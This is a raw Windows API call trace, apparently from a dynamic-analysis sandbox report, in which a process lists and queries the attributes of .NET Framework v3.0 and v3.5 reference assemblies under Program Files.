	[0053.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ecd8 | out: lpFileInformation=0x1274ecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000)) returned 1
	[0053.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclientsideproviders.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ed28 | out: lpFileInformation=0x1274ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000)) returned 1
	[0053.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ed78 | out: lpFileInformation=0x1274ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0053.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationtypes.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274edc8 | out: lpFileInformation=0x1274edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1
	[0053.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ee18 | out: lpFileInformation=0x1274ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1
	[0053.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\windowsbase.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ee68 | out: lpFileInformation=0x1274ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000)) returned 1
	[0053.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\windowsformsintegration.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eeb8 | out: lpFileInformation=0x1274eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000)) returned 1
	[0053.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x1274ef08 | out: lpFileInformation=0x1274ef08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.563] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.564] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1
	[0053.565] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1
	[0053.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.566] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
